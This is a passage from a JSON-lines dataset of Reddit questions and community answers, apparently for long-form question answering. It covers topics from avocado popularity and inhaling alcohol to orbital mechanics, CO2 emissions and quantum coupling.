wall.\n\nIf you are interested in reading further, I'd recommend Benjamin Kedar, \"Prolegomena to a World History of Harbour and River Chains,\" in *Shipping, Trade, and Crusade in the Medieval Mediterranean* (2012), 3-38.", "Just an aside of the great responses provided, but didn't Ruyter 1667 raid on the Thames burst througj chains raised to defend the river ? Meaning such a practice of defense wasn't discontinued until waaay after 1543?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nps.gov/gate/planyourvisit/upload/FOWAwalkingtourUpdated3July2012-Small.pdf", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Aeneas_Tacticus/B*.html"], []]}
{"q_id": "74m0e3", "title": "why did avocados become so popular all of a sudden?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/74m0e3/eli5_why_did_avocados_become_so_popular_all_of_a/", "answers": {"a_id": ["dnzdd9j", "dnzdjdm", "dnzdrfl", "dnzeggg", "dnzizhn", "dnzjkbl", "dnzlrjr", "dnzs6d8", "dnztsxb", "dnzv08s", "do02fr0"], "score": [10, 65, 15, 18, 2, 51, 8, 11, 2, 5, 3], "text": ["I don't have sources but I imagine its very similar to corn. Market surplus at some point led to a increase of artificial demand through subsidised production. The subsidised production was heavily marketed, creating a increase in demand. ", "Maybe my perception is skewed by living in California where they've been commonly available for a long time, but it looks like production has \"only\" tripled in the past 15 years, which isn't a big increase year on year, more of a slow burn.\n\nNo doubt the growers are more powerful now, so you're seeing more marketing and they're probably expanding into new markets with improved shipping. Avocados don't keep very well.", "What region of the world are you in? Avocados have been popular in Southern California and other southwestern US locations for DECADES!\n\nOn the other hand, be patient and read this: however old you are now, this is the first time you've been that old, and the first time you heard of avocados was, for you, the first time that they had existed.... expand this a bit and you'll see that something that is new to you might not be new at all, just new to your life.\n\nThe popularity of different foods varies, so while avocados may have stayed at a high level of popularity in Los Angeles, if you're in Fargo you might just have experienced the introduction of this old old food to a location that never had them before... so suddenly, to you, they are newly popular throughout Fargo... which, if you live there, is the entire world!", "The spread of TexMex that uses it has made it more popular, and some places can't deal with the demand. Out of season, NZ didn't have enough supplies and people began stealing them from farms and created an [avocado black market](_URL_0_) to deal with the demand and make a quick buck, which only raised the prices higher in store. ", "We are better understanding the high fat levels of the avocados are actually healthy and not fattening, so they are delicious and healthy ", "The push for \u201chealthy fat\u201d which usually only includes avocados. Some people dont trust or like salmon and olive oil isn\u2019t a food so much as something you out on food. ", "They may have been popular in ca for awhile but not in the other coast, they just blew up here and my suspicion is following every fast food joint marketing new avacado stuff and all these health blogs pushing them.\n\nEven in fl where i see trees of them dropping them on the ground all the time the only actually became popular (i. E every eatery around advertising them hugely and store fronts carrying special abs avacado supplies and larger bins) and we have always sold them.", "Mostly an increase in the acceptability of paleo- and keto-based diets, which are high in fat, coupled with the \"real food\" movement.", "Have you ever eaten one? That's litterally all it takes! It's like any other good thing. Word spreads and enjoyment is fulfilled by the multitudes. In fact, now I wonder how many other amazing things I'm missing out on...Sigh, so much to do and so little time.", "They taste good, they provide good/healthy fats, tremendous growth in popularity of cuisines they are used in -- especially Mexican, but also sushi. Mexican is consumed way more frequently than a decade or two ago, both because of Americans eating way more tacos and burritos and guacamole, but also the rising Latino population in the U.S. who have always consumed.", "UK reporting in, despite all the \"I'm from California and avocado has always been popular\", It has absolutely taken off here in the last few years when it wasn't present before, similar to halloumi. Since it's mostly instagram girls and southerners that go all in on it, I'd say it's definitely a trend that'll reduce over time"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.radionz.co.nz/news/national/335967/avocado-thieves-selling-stolen-fruit-on-black-market"], [], [], [], [], [], [], []]}
{"q_id": "kp4kt", "title": "Can you consume vaporized alcohol?", "selftext": "Alcohol has a pretty low boiling point. If you got a still and held it just over alcohol's boiling point, and inhaled the fumes:\n\nWould the alcohol be able to enter your bloodstream through the alveoli?\n\nIf it could, how would the rate of absorption compare to ingesting different types of alcohol?\n\nWould it cause any physical harm to you different from that which occurs by drinking?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kp4kt/can_you_consume_vaporized_alcohol/", "answers": {"a_id": ["c2m13oa", "c2m1bt5", "c2m1y59", "c2m2d9q", "c2m3e0t", "c2m4vvy", "c2m13oa", "c2m1bt5", "c2m1y59", "c2m2d9q", "c2m3e0t", "c2m4vvy"], "score": [2, 14, 4, 6, 2, 3, 2, 14, 4, 6, 2, 3], "text": ["Seems to be doable.\n\n_URL_0_", "While it is possible, I would not recommend it. Alcohol is absorbed faster, thus increasing your risk of overdosing. ", "Yes. A popup bar was setup in London, UK which did exactly this. \n\nDetails [in this news article.](_URL_0_)\n", "This once happened to me by accident while I was cleaning the inside of a lead tank that shields a 250 keV Van de Graaf positive ion accelerator. \n\nThe interesting thing is that while you get drunk, it's all in your bloodstream, so removing yourself from it lets you sober up very quickly without absorbing more through your digestive tract.  ", "Yeah, but when you drink an alcoholic drink, it's significantly diluted *and* your body metabolizes a chunk of it before it hits the bloodstream (alcohol is a carbohydrate, but you knew that)\n\nWhen you inhale it, I believe you're essentially injecting pure alcohol into your bloodstream. Sure it takes effect faster, but you are going to massively misjudge your BAC, and could easily get alcohol poisoning. \n\nI think.", "in a sauna one year, my brother poured blueberry smirnoff on the red rocks. It made all of use taste blueberry pie and became drunk, very quickly. When we left the sauna we sobered up in minutes, it was very wierd.", "Seems to be doable.\n\n_URL_0_", "While it is possible, I would not recommend it. Alcohol is absorbed faster, thus increasing your risk of overdosing. ", "Yes. A popup bar was setup in London, UK which did exactly this. \n\nDetails [in this news article.](_URL_0_)\n", "This once happened to me by accident while I was cleaning the inside of a lead tank that shields a 250 keV Van de Graaf positive ion accelerator. \n\nThe interesting thing is that while you get drunk, it's all in your bloodstream, so removing yourself from it lets you sober up very quickly without absorbing more through your digestive tract.  ", "Yeah, but when you drink an alcoholic drink, it's significantly diluted *and* your body metabolizes a chunk of it before it hits the bloodstream (alcohol is a carbohydrate, but you knew that)\n\nWhen you inhale it, I believe you're essentially injecting pure alcohol into your bloodstream. Sure it takes effect faster, but you are going to massively misjudge your BAC, and could easily get alcohol poisoning. \n\nI think.", "in a sauna one year, my brother poured blueberry smirnoff on the red rocks. It made all of use taste blueberry pie and became drunk, very quickly. When we left the sauna we sobered up in minutes, it was very wierd."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Alcohol_without_liquid"], [], ["http://www.metro.co.uk/news/621570-the-bar-which-gets-you-tipsy-on-its-air"], [], [], [], ["http://en.wikipedia.org/wiki/Alcohol_without_liquid"], [], ["http://www.metro.co.uk/news/621570-the-bar-which-gets-you-tipsy-on-its-air"], [], [], []]}
{"q_id": "4llhx5", "title": "Does your body heal wounds you are aware differently than those you're not aware of?", "selftext": "Like, If you were to have two cuts, one of them you see and gets moved around so that it physically hurts and bothers you, and the other one is the same wound but it doesn't sting or get moved around or even seen, does the body heal them differently? Like in speed?  ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4llhx5/does_your_body_heal_wounds_you_are_aware/", "answers": {"a_id": ["d3oibwt"], "score": [5], "text": ["Your perception of the cut doesn't change how fast it heals, but the location does.\n\nFor one cut being visible and stinging, the other being under the skin and not hurting at all, the outside cut has nerves exposed to open air causing the pain but the one under the skin will heal faster due to increased blood flow and your body being easier to protect against while healing.\n\nAlso certain areas will heal faster depending on other factors. Your mouth will heal quickly because saliva is a decent disinfectant, your hands or feet will be slow because of how often they're used, and some places don't at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5lbfho", "title": "Would it be possible to use an X-ray machine to find buried dinosaur bones?", "selftext": "Edit: wow great answers, thank you everyone", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5lbfho/would_it_be_possible_to_use_an_xray_machine_to/", "answers": {"a_id": ["dbusqkd", "dbvprke", "dbue8np", "dbuf866", "dbum001"], "score": [3, 2, 6, 12, 5], "text": ["Generally no.  Even if you ignore the problem of whether there's actually any contrast between the bones and the surrounding rock, there's fundamental problems.  Electromagnetic waves don't really penetrate that far into the ground.  If you increase the frequency, you lose penetration depth.  If you decrease it, you lose resolution (the smallest object you can see).  If you want to resolve 15 cm objects, your max depth will probably range from 6 to 12 m, depending on density of that earth.  For more info, searching \"ground penetrating radar\" will do.  FYI, the range they use is not X-ray.", "No.\n\n- X-Ray imaging works by detecting the X-rays that pass through an object, and the film/detector has to be on the far side. That's not practical for something like buried objects.\n\n- X-rays wouldn't penetrate rock to any meaningful distance. I've worked with X-ray generators for research, and usually a couple layers of drywall will do a good job of blocking them (a generalization, I know).\n\n- Even if the above issues weren't present, I'm guessing it would be difficult to make a ruggedized X-ray source with the appropriate cooling and power supply.", "It depends on what format, in the field it would be remarkably hard. While you might be able to locate an area I doubt you could get a defined skeleton from it and the prints would hard to read because there isn't a differing material beneath them to provide contrast. In the lab X-rays are used to find bones within rock and are able to distinguish fine features inside of an object. It can be used to peel back crust that has formed or look inside an egg for example.", "The bones have long since been replaced with minerals, which are similar to the surrounding rock. Radar using X-ray wouldn't do a very good job of showing the differences. \n\nIf you wanted to set up something like a medical x-ray you would have to somehow get the layer of rock you were taking a picture of between the source of your xrays and the \"film\" capturing the image. ", "Probably not. Medical X-rays work by passing through the body to reach a detector on the other side. They do this because they're strongly forward-scattering, meaning any photon that hits bone will probably continue off in a different direction, but still mostly further into the rock. Since you're not going to get a detector inserted in the rock, I don't know how you'd reconstruct the object properties. Not to mention that the surrounding rock will have similar properties to the bone materials themselves, so good resolution is highly unlikely. \n\nI would suggest microwaves could probably backscatter sufficiently. Or as long as we're thinking outside the box, sound waves? Neutron beams?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2q7bzu", "title": "when prosecutors and police officers make a \"deal\" with a criminal or suspect, legally speaking, what can they can or can't do/offer?", "selftext": "Say for example I'm a mid-to-upper tier criminal who just got caught. DA has evidence on me and I'm in pretty tight spot, but there's some wiggle room (with objective evidence to show that) that I do have potential to turn my life around if I wanted too. \n\nNow, say I offer to give the police/DA everything. And I do mean EVERYTHING: contacts, full names, where the busts are, how they conduct business, who they have on the inside, corruption, pretty much everything under the sun, and it's absolutely 100% of it is the truth, with zero falsehoods.\n\nAt that point could I negotiate full immunity or something of that similar? Or could I play hardball and say \"Heh, you want to catch the bad guys, let me go and I'll turn myself around and you can even check on my progress to make sure I keep up my side, but until then, you get NOTHING.\" Would they cave? Especially if they knew beyond a shadow of a doubt that'd I tell them the truth? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q7bzu/eli5when_prosecutors_and_police_officers_make_a/", "answers": {"a_id": ["cn3jpz3"], "score": [17], "text": ["A police officer can and will promise you anything under the sun in order to get information. A police officer does not have the authority to make a deal, and anything you agree to doesn't count.\n\nA prosecutor can offer anything that a judge is willing to approve. This includes total immunity regarding that crime."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "85sbp4", "title": "What was the Young Men's Christian Association's reaction to the 1978 song by Village People?", "selftext": "Although the song is now considered a gay anthem, with a heavy homosexual undertone, the lyrics are nothing but praise to the organisation, so I wondered how the association reacted to it.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/85sbp4/what_was_the_young_mens_christian_associations/", "answers": {"a_id": ["dw01uxk"], "score": [91], "text": ["[A similar question was asked before](_URL_0_); /u/hillsonghoods touches on the YMCA's reaction in the latter half."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/68abti/was_it_really_fun_to_stay_at_the_ymca/"]]}
{"q_id": "2t7gxa", "title": "What ancient cities survive and thrive to this day? What determines which cities will continue to have people, prosperity and importance long after they are founded?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2t7gxa/what_ancient_cities_survive_and_thrive_to_this/", "answers": {"a_id": ["cnwgnwb"], "score": [2], "text": ["Rome, Athens, Alexandria, London...\n\nHonestly, more or less every great city in Europe has very \"ancient\" roots.\n\nIt depends on a variety of factors, but simply put cities were founded in places that it was a good idea for them to be built."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ql5vi", "title": "why, during the great depression, farmers were destroying their own crops to raise prices.", "selftext": "Yeah, I know, supply and demand.  But supply and demand isn't an absolute law that has to be obeyed.  Sellers can choose to sell things at whatever price they want.  If these farmers wanted their prices to be higher, why not just raise them rather than destroying their supply?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ql5vi/eli5_why_during_the_great_depression_farmers_were/", "answers": {"a_id": ["c3ygq7l"], "score": [5], "text": ["Because then farmer Bob down the street would just lower his prices a bit to sell more of his crops. To prevent that, the farmers had to all agree to destroy some of the supply, because farmer Bob has no incentive to lower prices below the point where he sells everything."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wkmee", "title": "Why do Australians have the highest per capita CO2 emissions?", "selftext": "[per capita CO2 emissions by country, Austalia at the top, with the United States in close second](_URL_1_)\n\nOne would think it would be about their heavy per capita consumption of coal, [but Greece, North Korea and South Africa all have higher per cap consumption rates than the United States.](_URL_0_)\n\nSo what are the driving factors here that Australian carbon emissions are so high? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3wkmee/why_do_australians_have_the_highest_per_capita/", "answers": {"a_id": ["cxx8ldm", "cxxh9om"], "score": [11, 3], "text": [" * First-world lifestyle - cars, air conditioning, heating, the lot. \n * CO2 heavy energy production. Most of the energy comes from coal plants. No nuclear (unlike US), negligible renewables. Solar is starting to become more popular, but hasn't quite gone big yet. \n * Low density. Huge transporting distances between cities. Cities themselves tend to be lower density than European cities - favouring roads and cars over public transport or walking / cycling / other. \n\nThat's probably the main factors I would imagine. No source on anything so take it with a grain of salt - I'm sure others have better information / experience.\n\n\nSource  - am Australian, some environmental science experience. ", "Another way to look at this is that Australia is heavily dependent on carbon-intensive industries (mining and agriculture).\n[According to this data,](_URL_1_) much of Australia's emissions comes from mining (10-25% depending on if aluminium smelting is included here or in \"electricity\" instead) and agriculture (15-20%), despite them providing miniscule level of employment. This is different from the [United States](_URL_0_) (where transport is the main culprit with 27% share vs.  < 10% in Australia) or [Britain](_URL_2_) (pdf warning; essentially the same as the U.S.).\n\nThis is hardly the only reason though, and u/situLight has provided extra explanations on this. Even if mining and half of agriculture are taken out of picture, Australia would still have much higher per capita carbon emission than most industrialised countries."]}, "title_urls": [], "selftext_urls": ["http://www.nationmaster.com/country-info/stats/Energy/Coal/Consumption-per-capita", "http://www.economicshelp.org/wp-content/uploads/blog-uploads/2012/11/list-countries-co2-per-capita.png"], "answers_urls": [[], ["http://www3.epa.gov/climatechange/ghgemissions/sources/industry.html", "http://www.abs.gov.au/ausstats/abs@.nsf/Products/4655.0.55.002~2013~Main+Features~Chapter+5+Greenhouse+Gas+Emissions?OpenDocument", "https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/407432/20150203_2013_Final_Emissions_statistics.pdf"]]}
{"q_id": "c9g7bh", "title": "how does a pump work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c9g7bh/eli5_how_does_a_pump_work/", "answers": {"a_id": ["esxuw1u", "esxx8s1", "esxxdwy", "esxziwk", "esy18vr", "esygm9z", "esyr8ha"], "score": [8, 5, 2, 3, 2, 2, 2], "text": ["It creates pressure which then provides the force to move something. Exactly how it works depends upon what type of pump you are talking about and whether it is water air or something else that is being pumped.", "There are many types of pumps, but the simplest to understand may be one you're familiar with: [the syringe](_URL_0_). In essence, liquids and gasses fill volumes when they can (if they have the energy to do so). A pump creates space for the liquid or gas to fill, and it is then able to un-create that space to force the liquid or gas out. The syringe shown only has one opening, but most pumps have a secondary opening to allow one to be used as intake, and one as an exit (exhaust).", "There's a number of different designs, but you'll need a few one way valves and a piston or two. The idea is that you have a one way valve letting water into a piston as it raises, then as the piston compresses again the water can't leave through that valve again, so you have another \"out\" one way valve that allows the water to leave with some force because the piston is pushing on it.\n\nThe piston can draw water through the tube from the source because it is creating a vacuum when it raises, even if there isn't water in the first few draws, which is why an old fashioned well pump might take many cranks to get water from.\n\nBack in the day these valves were simple leather flaps, now they're usually rubber to last longer. And of course there are many different designs now, some of which don't rely on pistons but are still considering pumps.", "Some pumps create suction to pull the medium to where it's going, others create pressure behind to push. Some pumps use the syringe model to create the suction or pressure with one-way valves to keep things moving, some spin the medium to create pressure with centrifugal force, some use screw-looking things, some just lift the medium up with a ladle-like thing, etc.\n\nTLDR: There are lots of different kinds of pumps.", "It pushes fluid (for piston like pumps, like the syringe the doctor gave that shot to you) or it flings fluid with a designed piece to go spinny-spinny (called an impeller / rotating element, think of it similar to a fan but designed for liquids).", "There are a lot of pumps but your standard water pump works like this: _URL_0_\n\nBasically you have a spinny thing (impeller) in a flat cylinder.  Water comes in the hub and gets slung outward by the impeller and pushed out through a hole on the edge.\n\nI work with a lot of pumps in my job and the vast majority work this way.", "I think you're wondering about how a pump continually adds pressure to a vessel.\n\nThere are these things called check valves which allow fluid or air to flow only in one direction.\n\nIf you have a piston which has two check valves (input and output), you can take air into the piston through one side, and when you push the air out through the other check valve, you pressurize whatever container you're trying to fill."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.walmart.com/ip/150ml-Plastic-Syringe-Reusable-Tube-Clear-for-Measuring-Liquids-Medical-Metric/930955281"], [], [], [], ["https://www.engineersedge.com/pumps/images/centri20.gif"], []]}
{"q_id": "3c73e5", "title": "Why does orbital radius increase with increased velocity?", "selftext": "So apparently our teacher said that if a spaceship increases its velocity for a short amount of time its orbital radius increases, and as a result it takes longer for the spaceship to finish a circle.\n\nBut according to V^2 = GM/R if the velocity increases, r has to decrease. So mathematically it doesn't out and it's bugging me.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3c73e5/why_does_orbital_radius_increase_with_increased/", "answers": {"a_id": ["cssu7ax", "cssue9q", "cssuuxo", "cssuy0o", "csszm85"], "score": [3, 19, 5, 3, 3], "text": ["V is the value at which you'll maintain a constant \"height\" orbit. A lower value of V and you'll begin to \"fall\" towards the body you're orbiting. A higher V at a given radius will cause you to accelerate away.", "The easiest way to see why the size of your orbit will increase is to think about energy.  The total energy is the sum of two terms, kinetic energy (which depends only on your velocity), and potential energy, which depends only on your current location, and which grows with distance.  For example, the potential energy outside a mass M is PE = -GM/R, which *increases* as R increases.  If you suddenly increase your velocity, you have increased your kinetic energy, which means you've increased your total orbital energy.  This means you have more energy to climb higher up in the gravitational potential, i.e. your orbit can travel to larger distance.\n\nThe expression you wrote, v^2 = GM/R, is only true for circular orbits.  If you are on an initially circular orbit and suddenly change your orbital velocity, your orbit will change, becoming non-circular.  In general, orbits around isolated masses are elliptical; circular orbits are only possible when your velocity has a magnitude equal to the expression above, and points exactly 90 degrees away from the radial direction.  You should not use that expression for orbits that are not circular.", "TL;DR at steady state a circular orbit velocity decreases, but in order to get to a further orbit circle you can (depending on your burn plan) temporarily increase velocity to get there.\n\nThe teacher said a \"short amount of time\" to distinguish from an equilibrium, where everything has settled down. Think about a rocket ship on the ground, how does it go to space? It has to increase its velocity to go up, not decrease. Once the rocket is up it will have some orbital velocity, and if it makes its trajectory parallel to the surface of the Earth it will have a circular orbit and your equation will then hold. If it wants to orbit further away from the Earth it needs to increase its total velocity (combination of direction away from the Earth and parallel to it) temporarily to get further away, and then it needs to burn to get back to a velocity that is parallel to the surface of the Earth again.", "The total energy of the spaceship (assuming it is in a bound orbit, i.e. circular or elliptical) is\n\n >  E = -k/(2a)\n\nwhere k = GMm, and a = semimajor axis of the orbit. The energy is divided between the kinetic and the potential energy:\n\n >  -k/(2a) = mv^(2)/2-k/r\n\nwhere v = speed of spaceship, and r = distance from spaceship to center of orbit. So if the spaceship were at some distance *r* and it suddenly increased its speed *v*, we see that the right-hand side of the last equation would increase. Therefore, the left-hand side must also. But since -k/(2a) is *negative*, its increase must mean that *a* increases. That is, the orbit moves to a larger semimajor axis.", "The other answers so far look correct, but probably there's a more intuitive way to explain this concept.\n\nThe equation you quoted is only valid for circular orbits, where speed is constant along the whole path. If a spacecraft is in a circular orbit and increases its speed, it becomes elliptical and your equation is no longer valid. So you have to use the [Vis-Viva equation](_URL_1_):\n\nv^2 = GM (2/r - 1/a)\n\nwhere r is the *current* distance to the center (at the point where the spacecraft is located) and a is the semi-major axis of the ellipse. If you plot this equation for varying values of r you should see that speed is higher when closer to the central attracting body, and lower when farther away.\n\nNow let's focus specifically on what happens right after the speed has increased. Centripetal acceleration from gravity stays the same, but the spacecraft can now traverse a larger distance before its trajectory is \"bended\" inwards. This means the arc of ellipse is a bit closer to a straight line when compared to a circle.\n\nSee [this diagram](_URL_0_) - an arc of the yellow ellipse looks a bit more straighter than an arc of the green circle. I always think of this in terms of Cauchy Curvature: gravity bends your trajectory, speed makes it straighter.\n\nIn the pure case of perfectly circular orbits the relation you noticed is valid: the higher you go, the slower the speed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Hohmann_transfer_orbit#/media/File:Hohmann_transfer_orbit.svg", "https://en.wikipedia.org/wiki/Vis-viva_equation"]]}
{"q_id": "v0jam", "title": "Is it possible to contribute to science as an independent researcher outside of an academic or commercial institution?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/v0jam/is_it_possible_to_contribute_to_science_as_an/", "answers": {"a_id": ["c5087mq", "c508ss3", "c509ru1"], "score": [2, 5, 3], "text": ["In some fields I guess it is possible. In others, like experimental high energy physics, it's not.", "Absolutely. I've done research on [synthetic nervous systems](_URL_0_). This was helpful to some European researchers on modeling biologically inspired locomotion using sine wave oscillators as central pattern generators in software instead of my transistor based hardware approach. \n\nI'm currently engaged in photomorphogenesis studies (how plants grow and develop to light) which has led to developing techniques allowing such things as growing full yielding pole beans that are [8 inches tall](_URL_1_) instead of 8 feet tall, as an example. This is very useful in plant protein studies.\n\nFunding is the major obstacle to independent research, however, and it's really best to have some academic contacts.\n\nedit grammar", "You should look into [citizen science](_URL_0_). A famous example of this is the Audobon Society's [Christmas Bird Count](_URL_1_), which is a volunteer-based bird census in the Northern Hemisphere carried out annually in the early winter, typically around Christmas. The program began in 1900 and had over 50,000 annual participants by 2000."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.google.com/patents/US20070285040?printsec=abstract&amp;dq=synthetic+nervous+systems+locomotion&amp;ei=ABXZT8AT5aDpAaLpgboD#v=onepage&amp;q=synthetic%20nervous%20systems%20locomotion&amp;f=false", "http://i.imgur.com/QKeYw.jpg"], ["http://en.wikipedia.org/wiki/Citizen_science", "http://en.wikipedia.org/wiki/Christmas_Bird_Count"]]}
{"q_id": "46y9wv", "title": "Is understanding of numbers and magnitude when dealing with several objects universal for all humans? Do we have an innate ability to understand arithmetics?", "selftext": "I work part time in a kindergarten doing some very basic teaching of numbers and simple math. While teaching I was noticing how simple number tasks (addition, subtraction) is very intuitive and easy to graspe for almost all the kids, while more complex tasks, like fractions and multiplication, often takes way more effort when learned for the first time. \n\nI am interested in if there is evidence of arithmetic abilities in infants that explain why these simple tasks seem to be executed without somone needing to teach them much. Or if there is examples of cultures that does not utilise the concept of numbers at all. Sources and references is very much welcomed, thank you in advance! \n\n(PS. I apologize if my English is lacking, i use it way too rare.)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46y9wv/is_understanding_of_numbers_and_magnitude_when/", "answers": {"a_id": ["d0909fw", "d093dau", "d09agpy", "d09vw7w"], "score": [19, 14, 4, 3], "text": ["The Pirah\u00e3 people of the Brazilian rainforest do not use numbers or count and apparently cannot even learn to count,  save for a few of the kids.\n\n_URL_0_\n\nThey can also whistle their whole language, do not use recursive language (thought within a thought), and seem to lack object permanence to some degree; they care very little about what isn't in front of them.", "Awesome question! Intelligence, neuroscience, math, and logic are of huge interest to me as a budding computational neuroscientist. I also study mathematics and the history of mathematics as a hobby (I know wtf?)\n\nOf interest to you may be dyscalculia, a brain disorder where one can't even add numbers or multiply. There have been damage to the part of the brain responsible for this, and people who know advanced math completely become incapable of doing simply multiplying or adding.\n_URL_0_\n\nAlso, animals have been known to be able to count. I know Crows/Ravens, Chimps, Bonobos, and I think I recall even elephants can count and maintain a concept of numbers up to about 4 or 5. We suspect that they aren't 'holding the notion of 5 things in their mind' but are just \"feeling the number\". That is, no known animal to my knowledge has demonsrated they can comprehend the abstract concept of a number, which is necessary to think of numbers beyond 10ish\nThis \"feeling numbers\" is called _URL_1_\n\nNeuroscientists and mathematicians have said that teaching arithmetic so early, as the first lesson in math, is silly because the parts of the brain which deal with adding (large numbers) and multiplying are not very very well developed yet.\n\nLastly, as a matter of opinion, I've always said that even Einstein would not have been able to multiply if he were born in the wild or in a civilization without written language. Humans learn culturally from their ancestors. Everyone is standing on giants which stand on giants which stand on giants.\n\nHeck, Roman Numerals are just straight up inefficient and useless for mathematical computation when compared to the now-in-use Arabic base number system of 0,1,2,3,4,5,etc. While one could say 40*25=1000 by doing the little multiplication tables thing, that would take several pages of paper to work out with Roman numerals. For more information, look at \"number systems\". It's quite interesting. For example, the first written civilization, Babylonia in modern Iran, used a sexagesimal system. That is, where our numbers start as 0 and go to 9 (10 characters so base ten), they used 60. This is why we have 60 minutes in a hour and 60 seconds in a minute. I could go further into this but it's a bit off topic as it is.\n\n\nHope that wasn't too boring. No one ever asks this stuff in real life, or their eyes instantly gloss over.", "There is an excellent book you should read called *The Number Sense (How the mind creates mathematics)* by neuroscientist Stanislas Dehaene. In it, he lays out the evidence for several innate structures in the human brain that give rise to our understanding of numbers. ", "A study by Karen Wynn demonstrated that at five months, babies show some innate ability to do math. Researchers showed five-month old babies math problems involving dolls, such as placing one doll behind a screen, then adding another behind the screen. In one group of the study, the correct number of dolls was shown. In the other group, the outcome was manipulated so that the answer was wrong. For example, 1+1=1. They found that the incorrect answers were looked at for longer, indicating that the babies found that outcome more interesting or worthy of attention."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Pirah%C3%A3_people"], ["https://en.m.wikipedia.org/wiki/Dyscalculia", "https://en.m.wikipedia.org/wiki/Subitizing"], [], []]}
{"q_id": "odzcl", "title": "In quantum mechanics, what does \"coupling\" mean, and how does it work? The word is everywhere.", "selftext": "I see the word everywhere, but I'm confused because everything is coupling with everything. Light couples with light (electro-optic modulator), electrons couple with electrons (forms of magnetism), spin couples with angular momentum ([physics](_URL_0_)), and so on.\n\nI know quantum mechanics is tough to explain in words because of the completely different nature, but I was hoping someone could give me a reason as to why it works, or how it works, and then maybe give a few examples of things coupling together.\n\n**What I already know:** things that are coupled interact with each other.\n\n**A *single* example of what I don't know:** through what force are they interacting?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/odzcl/in_quantum_mechanics_what_does_coupling_mean_and/", "answers": {"a_id": ["c3gheyd", "c3gi3ck"], "score": [12, 2], "text": [" > What I already know: things that are coupled interact with each other.\n\nThen you know what 'coupling' means. There really isn't any deeper meaning to the term than that. It doesn't necessarily specify a real interaction, though. (see below)\n\n > A single example of what I don't know: through what force are they interacting?\n\nThat depends on what things you're talking about. They might not be interacting through _any_ force at all. For instance, if you're talking about \"spin-orbit coupling\" it's something that comes about because you treated angular momentum and spin as independent properties, when they're actually not. So the \"coupling\" is just the error that arises from treating those things independently.\n", "coupling can mean a number of things. The maybe most fundamental definition is that *fields* couple in certain ways. Electron fields couple to electromagnetic fields. This means that an excitation in the electron field generates a corresponding change in the electromagnetic field. That electromagnetic field change then propagates through the electromagnetic field and interacts with the other electrons coupled to the electromagnetic field. \n\n***But*** the electrons don't, say, couple to the \"color field\" of the strong force. An electron doesn't change the strong force field at all, nor does it respond to changes in the strong force field. (according to the standard model as we understand it presently)\n\nNow using this definition, light *doesn't* couple to light. Electromagnetic disturbances don't respond to electromagnetic disturbances. Now, in materials, we may approximate the behaviour of the light interacting with the material such that it acts *as if* light is coupled to light, but really it's light coupled to material coupled to light.\n\nThis may sound somewhat trivial, but for instance, the strong force, gluons *do* couple to gluons. A gluon is itself color-charged and generates a change in the strong force color field, which can in turn, attract more gluons. This leads to much of the very very interesting physics of the strong force.\n\n---\n\nThere are other meanings, perhaps that you're more familiar with like spin orbit coupling, and what this generally means is that there's some quantum behaviour that correlates one property with another property. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Angular_momentum_coupling"], "answers_urls": [[], []]}
{"q_id": "3pxqhc", "title": "Which part of our galaxy's neighbourhood is gravitationally bound strong enough not to be redshifted away due to expansion?", "selftext": "As distant regions will redshift away due to the expansion of space, some galaxies will eventually be out of sight forever. I wondered which parts are gravitationally bound strong enough not to be affected by the expansion, as seen from our point of view.\n\nAs The Milky Way is set to collide with Andromeda in the not too distant galactic future, that obviously will be part of our new shared space. But when watching images or videos illustrating the structure of space, it all seems very gravitationally bound. Obviously there has to be a limit to what can remain gravitationally connected if this really is to happen.\n\nThis is an image I've seen often: _URL_0_ At any scale bar the last one there is seem to be clear structural elements. Where, on that chart, would be the cutoff?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3pxqhc/which_part_of_our_galaxys_neighbourhood_is/", "answers": {"a_id": ["cwbc1em", "cwbe519"], "score": [3, 3], "text": ["All galaxies that are not subject to cosmological redshift are within the local group of galaxies, but not all of the galaxies of the local group are gravitationally bound, meaning some of them still recede and are redshifted. \n\nFor example, M 31, the great Andromeda galaxy is about 2,5 million ly away and is 